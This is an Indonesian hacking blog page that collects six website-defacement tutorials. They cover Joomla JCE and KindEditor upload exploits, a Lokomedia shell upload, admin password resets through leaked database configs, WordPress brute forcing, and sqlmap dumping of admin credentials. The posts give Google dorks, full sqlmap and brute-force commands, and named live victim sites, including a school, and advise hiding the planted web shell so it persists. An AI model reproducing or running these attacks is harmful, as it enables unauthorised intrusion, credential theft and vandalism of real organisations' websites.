Selamat Datang Teman
Showing posts with label Deface Web. Show all posts
Showing posts with label Deface Web. Show all posts
Pin It

Cara Mudah Deface Website Dengan Exploit Joomla JCE Extension | Remote File Upload Vulnerability Deface

0 komentar Wednesday, June 26, 2013
Assalamualaikum...

Salam sejahtera buat kita semua :)


Oke sobat, sebenarnya udah lama sih mau share teknik ini,  cuma saya males aja mau nyari targetnya,, wkwkwk soalnya saya jarang nemu target yg Vuln, jadi males dah,, tapi berkat bantuan dari temen saya yaitu om Agam yang dengan sukarela memberikan live target yang bisa sobat gunakan :D jadi mempermudah saya untuk berbagi teknik ini buat sobat2 semua :) Thanks to Om  Agam dan perlu sobat ketahui bahwa pada CMS joomla itu yang paling banyak ditemukan bugsnya itu di component atau Extensinya, rata2 pasti begitu :)
Udah ah ngomel2nya, langsung saja kita praktekkan :) Disini saya akan menjelaskan dua Teknik yang berbeda tapi Konsepnya sama aja sih :D beda toolsnya aja :p

Bahan-Bahan :

JCE Exploiter | Download

JCE Exploiter PHP | Download


Dork  masukan ke google:  
inurl:index.php?option=com_jce site:.br

Dork nya dikembangin  aja

Live Target :  Lihat


Udah disiapin kan bahan2nya? lanjut yuk masak2nya? Hajiahh :3


Pertama so pasti sobat harus mencari targetnya dulu di Google dengan menggunakan dork diatas :) kalo saya udah nemu tuh :D


Lalu Extrack dulu file JCE Exploiternya :)

Buka deh JCE Exploiternya :) dan Selanjutnya masukan Targetnya, lalu klik Start


Nah tuh, udah berhasil :)


Setelah berhasil exploitasinya lalu eksekusi link tersebut :)



Nah, upload aja shell sobat :)  
Catatan: "kalo ga bisa upload Shell, upload aja file depesan .php  .html / .txt :)

Kalo upload shellnya berhasil, tinggal eksekusi shell, trus Tebas dah :D




Cara Kedua

Upload dulu JCE Exploit PHP di  Hostingan atau apapun dah :) kalo ga mau repot, sobat bisa make punya saya aja Disini


Lalu masukkan targetnya :

Hostname : Web Target [tanpa http:// dan / ]
Path : / atau /path/
Please Specify a file to upload : Shell sobat :)

Yang lain, kosongin aja :) lalu klik Start


Nah tuh udah keliatan hasilnya :)


Langsung dah, eksekusi shellnya dan upload file depesan sobat :)


Sekian Tutorialnya, mudah2an bermanfaat buat pembelajaran :)

Kalo ada pertanyaan silahkan tinggalkan komentar atau langsung tanya di grup aja :) Terimakasih :)

sumber : indo cyber army

Read On
Pin It

DEFACE DENGAN MENGGUNAKAN CONFIG DAN MYSQL INTERFACE

0 komentar
Selamat malam sobat  :D langsung aja sekarang mau kasih cara deface dengan config :D
Bahan - Bahan :
1. MySQL Interface | Download
2. Web Config

3. Video Tutorial | Download
LANGSUNG AJA CARANYA
Pertama silahkan sobat buka Link yang berisikan config :)
Config CMS Wordpress
Pilih salah satu config database CMS Worpress 
Masukkan Username Dan Passwordnya  ke My SQL Interface Lalu Login  :)

Kemudian Pilih kolom ke 2 lalu klik Tables
Setelah itu pada kolom wp_users  klik Data
Disini kita akan mengubah passwordnya, Klik Edit
Lalu ubah passwordnya dengan password kamu, disini saya mengubah passwordnya "12345" dan di encrypt ke type MD5 menjadi "827ccb0eea8a706c4c34a16891f84e7b" untuk encrypt password disini
Lalu klik Edit Data untuk menyimpan perubahan. dan Silahkan sobat Loggin ke halaman login website :) kalo di CMS wordpress halaman loginnya berada:
http://sitetarget.com/wp-login.php
http://sitetarget.com/path/wp-login.php
Selanjutnya tinggal Tanem Shell di web tersebut, sobat bisa lihat Disini



Config CMS Joomla
Pilih salah satu config CMS Joomla :)
Masukkan Username Dan Passwordnya  ke My SQL Interface Lalu Login  :)
Kemudian Pilih kolom ke 2 lalu klik Tables
Setelah itu pada kolom jos_users  klik Data
Disini kita akan mengubah passwordnya, Klik Edit
Lalu ubah passwordnya dengan password yg sobat inginkan, disini saya mengubah passwordnya "12345" dan di encrypt ke type MD5 menjadi "827ccb0eea8a706c4c34a16891f84e7b" untuk encrypt password disini
Lalu klik Edit Data untuk menyimpan perubahan. dan Silahkan sobat Loggin ke halaman login website :) kalo di CMS Joomla halaman loginnya berada:
http://sitetarget.com/administrator
http://sitetarget.com/path/administrator
Selanjutnya tinggal Tanem Shell di web tersebut, sobat bisa lihat Disini
Selamat Mencoba, :) Semoga Bermanfaat :)

Sumber: INDO CYBER ARMY
Read On
Pin It

Deface Dengan Lokomedia

1 komentar Saturday, March 23, 2013

Deface Web Dengan lokomedia – Kali ini kami ingin ngasi tau cara Defaceweb . Dengan teknik LOKOMEDIA ..
Memang banyak web yang sudah tau tehnik ini dan segera patch web mereka, tapi ada beberapa web juga yang gak update dengan perkembangan h*cker diluar sana  .
Sebelumnya saya peringatkan bahwa saya tidak akan menanggung resiko yang kalian buat diluar sana.


Dork = allinurl:media.php?module=berita << Banyak WEB INDO nya
Sebagai contoh saya ambil website
http://dahli*********.com (cencored)

1.Cari halaman login admin nya, Download software pencari halaman login , Klik Disini

2.Setelah kita tau halaman login admin nya lalu kita tambahkan
/content.php?module=banner

Menjadi

http://dahli*********.com/admin/content.php?module=banner
#/admin/ diatas ialah halaman login adminnya (Tidak semua web halaman loginnya seperti itu)
#/content.php?module=banner adalah tempat kita mulai beraksi

3.Lalu ketika masuk ke url http://dahli*********.com/admin/content.php?module=banner Disitu kita klik tombol tambah banner

4.kemudian , isi kolom sesuai permintaan dan kolom link tidak usah diisi , kolom nama terserah mau apa aja , lalu yang terakhir isi dengan shell agan

#Shell adalah suatu script menyerupai file manager , kita bisa merubah apapun didalam filemanager asal permissionnya di ijinkan #Download shell di google

5.nah untuk ngecek apakah shell kita work atau nggak silahkan buka
http://dahli********.com/admin/foto_berita/shell.php

6. kalau berhasil terbuka berarti kita tinggal masuk dalam web shell kita dan jangan lupa pindahkan web shell nya ke folder web yang cukup aman biar web shell kita awet dan langgeng tertanam di website tersebut.

7. tinggal ganti index.php nya ajah deh kalau mau tega – tegaan mah
Selesai dah  , ' Thankz ' Semoga Bermanfaat !!

Read On
Pin It

Cara Deface site Wordpress Menggunakan WP Brute Force

4 komentar Monday, March 18, 2013

Pertama Download Bahan-Bahannya:


WPBruteforce

Dork: inurl:/wp-login.php

Yup, saatnya kita beraksi.. :)

Live Target: http://www.van-wieringen.nl

Pertama, Extract File yg didownload tadi di Directori C: sehingga posisi menajdi C:\WPBrute

Lalu buka comand dengan cara : Klik Start>Run>ketik cmd




Biasanya posisi default directories di Cmd : C:\User\User_Name>

Ubah posisi directori dgn cara: ketik cd.. trus enter!

ex:
C:\User\User_Name>cd..
C:\User>cd..
C:\>

 Lalu  setelah itu masukkan perintah C:\>cd WPBrute lalu tekan enter! 



Buka file dengan mengetik perintah: WPBorce.exe maka Akan muncul tampilan seperti gambar!


Lalu masukkan perintah: WPBforce.exe -url=http://www.tvbba.nl -user=admin -pass=wordlist.txt -threads=10



Lalu tekan enter!

Tunggu proses hingga selesai!



Wew! Berhasil tuh! wkwkwk Mantap! :p

Langsung Login dah!

SUMBER:   www.facebook.com/groups/imblackhatcoder/
Read On
Pin It

TUTORIAL SQL MAP DEFACE WEBSITE SEKOLAH

0 komentar Saturday, February 23, 2013
Halo para sobat Hackinggroups, kali ini saya akan menulis tentang Cara Deface Dengan SQL Injection yang dikenal dengan teknik SQLmap di BackTrack. Tools ini sudah ada di dalam File .ISO pada BackTrack.
Disini, saya menggunakan BackTrack 5 R3.
Pertama-tama, cari target yang vuln terhadap SQL Injection, berikut ini sedikit dork dari saya :

inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:declaration_more.php?decl_id=
inurl:Pageid=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
Dan masih banyak lagi dork bertebaran di Google :D
Dalam Tutorial kali ini, saya akan menggunakan target salah satu Sekolah yang ada di Sidoarjo.
http://www.sman2sidoarjo.sch.id/
Untuk mengetahui Website tersebut Vuln atau tidak, silahkan tambahkan tanda ‘ (petik satu) setelah atau sebelum nomor id tersebut, bisa juga dengan menambahkan tanda  - (minus) sebelum nomor id tersebut.
Contoh :                http://www.sman2sidoarjo.sch.id/beritaLengkap.php?id=5''
http://www.sman2sidoarjo.sch.id/beritaLengkap.php?id=’5
http://www.sman2sidoarjo.sch.id/beritaLengkap.php?id=-5
Jika target tersebut Vuln terhadap SQLi, maka akan muncul kira-kira seperti ini :
Jika sudah mendapatkan target, silahkan buka Terminal, kemudian ketikan perintah “cd /pentest/database/sqlmap” (tanpa tanda petik) kemudian Enter.
Kemudian akan muncul seperti ini.
Kemudian untuk mencari nama database, ketikkan “ ./sqlmap.py -u http://www.sman2sidoarjo.sch.id/beritaLengkap.php?id=5 --dbs” (tanpa tanda petik) kemudian Enter.

Kemudian akan muncul seperti ini :
Disana kita dapat menemukan 2 Database, yaitu information_schema dan sman2sidoarjo_sman2sda
Setelah kita mendapatkan Database tersebut, kita tulis “./sqlmap.py -u http://www.sman2sidoarjo.sch.id/beritaLengkap.php?id=5 -D namadatabase --tables” (tanpa tanda petik) kemudian Enter.

Setelah itu akan muncul beberapa Tabel.

Kemudian kita mencari Colums dengan cara mengetik “./sqlmap.py -u http://www.sman2sidoarjo.sch.id/beritaLengkap.php?id=5 -D namadatabase -T namatable --columns” (tanpa tanda petik) kemudian Enter. 
Disini kita akan menjumpai beberapa Columns dari Tabel Admin. 
 
Kemudian, untuk mengetahui isi dari Columns tersebut, kita ketikkan “./sqlmap.py -u http://www.sman2sidoarjo.sch.id/beritaLengkap.php?id=5 -D namadatabase -T namatable --dump” (tanpa tanda petik) kemudian Enter.

Nah, kita sekarang sudah menemukan User + Pass Administrator dari Website tersebut :)
Jika sudah mendapatkan User + Pass, pasti Anda tau kan yang harus dilakukan ? :)
Nah, tinggal cari Login Adminnya deh :D
Caranya banyak kok di Google :)
Sekian dulu dari saya, saya ucapkan Terimakasih Banyak :)
Untuk yang ingin belajar SQL Map, silahkan menggunakan live target http://www.sman2sidoarjo.sch.id/beritaLengkap.php?id=5
Read On
Pin It

DEFACE BAGI NEWBIE ( SAMBUT 17 AGUSTUS )

3 komentar Wednesday, August 15, 2012
Dalam Rangka Menyambut 17 Agustus Saya Ngeshare Cara Deface Supe Newbie 30 Detik Kelar Kok Hehehehehe

Silahkan Di Sedot Langsung


PERTAMA LU BUKA GOOGLE.COM LU MASUKKIN KODE DI BAWAH 

Dork:

Code:
inurl:examples/uploadbutton.html
inurl:kindeditor
 
gunakan Pikiran seorang HACKER untuk mendapatkan korban yg lebih banyak...

exploit:

 http://www.maxpointchina.com/asset/admin/js/kindeditor/examples/uploadbutton.html

Step 1: Klik Upload


Step 2: Pilih HTML DEPESAN agan...

Contoh disini menggunakan HTML ane...




step 3:
Nanti akan keluar URL hasil upload-an HTML kita...copas link tsbt letakkan diakhir URL



Step 4:
kemudian tekan ENTER dan...
TARA... Cheer Cheer Cheer



YANG MAU KODE HTML GUE KESINI AHA :   Download HTML code


nih cntohnya : http://www.maxpointchina.com//asset/admin/js/kindeditor/attached/file/20120815/20120815093418_16218.html



mudahkan  hehehehe 



Read On
Subscribe to: Posts (Atom)